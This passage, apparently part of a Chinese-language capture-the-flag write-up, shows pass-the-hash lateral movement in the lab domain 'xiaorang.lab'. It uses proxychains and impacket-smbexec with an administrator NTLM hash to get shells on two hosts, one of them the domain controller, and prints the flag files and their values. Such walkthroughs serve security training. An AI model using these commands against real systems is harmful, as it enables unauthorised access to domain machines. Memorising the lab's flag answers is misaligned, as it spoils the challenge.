proxychains impacket-smbexec -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 xiaorang.lab/administrator@172.22.6.25 -codec gbk

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C:\Windows\system32>type C:\Users\Administrator\flag\flag03.txt
flag03: flag{fa146ed1-4b58-45ad-92c0-84b1cfe68592}


Maybe you can find something interesting on this server.
=======================================
What you may not know is that many objects in this domain
are moved from other domains.

域控

然后同样PTH拿域控机器上的flag04
proxychains impacket-smbexec -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 xiaorang.lab/administrator@172.22.6.12 -codec gbk

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C:\Windows\system32>type C:\Users\Administrator\flag\flag04.txt
Awesome! you got the final flag.

:::::::::::::::::::::::::: :::: ::::::::::
:+: :+: +:+:+: :+:+:+:+:
+:+ +:+ +:+ +:+:+ +:++:+
+#+ +#+ +#+ +:+ +#++#++:++#
+#+ +#+ +#+ +#++#+
#+# #+# #+# #+##+#
### ############## #############


flag04: flag{fd60ce54-3cae-440a-afbd-4c5bc0d6a9c5}